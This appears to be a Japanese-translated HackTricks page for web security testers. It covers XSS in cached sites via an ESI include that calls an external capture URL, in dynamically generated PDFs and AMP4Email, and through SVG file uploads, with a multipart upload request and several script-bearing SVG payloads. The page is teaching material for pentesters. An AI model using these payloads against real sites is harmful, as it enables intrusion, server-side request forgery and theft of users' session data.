キャッシュを使用しているサイトでXSSを取得しましたか? このペイロードを使用してそれをSSRFにアップグレードしてみてください:

<esi:include src="http://yoursite.com/capture" />

クッキー制限、XSSフィルターなどを回避するために使用します! この技術に関する詳細情報はこちら: XSLT

動的に作成されたPDFにおけるXSS

ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットをだまして任意のJSコードを実行させることを試みることができます。 したがって、PDF作成ボットが何らかのHTML タグを見つけると、それを解釈し、この動作を悪用してサーバーXSSを引き起こすことができます。

Server Side XSS (Dynamic PDF)

HTMLタグを注入できない場合は、PDFデータを注入することを試みる価値があります:

PDF Injection

Amp4EmailにおけるXSS

AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートし、AMPコンポーネントを介してアクセスできます。

AMP for Emailフォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内でコンテンツと直接対話できるようにします。

例:GmailのAmp4EmailにおけるXSSの書き込み

ファイルのアップロードにおけるXSS(svg)

次のようなファイルを画像としてアップロードします(http://ghostlulz.com/xss-svg/から):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Find more SVG payloads in https://github.com/allanlw/svg-cheatsheet

Misc JS Tricks & Relevant Info

Misc JS Tricks & Relevant Info

XSS resources

If you are interested in hacking career and hack the unhackable - we are hiring! (流暢なポーランド語の読み書きが必要です).

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated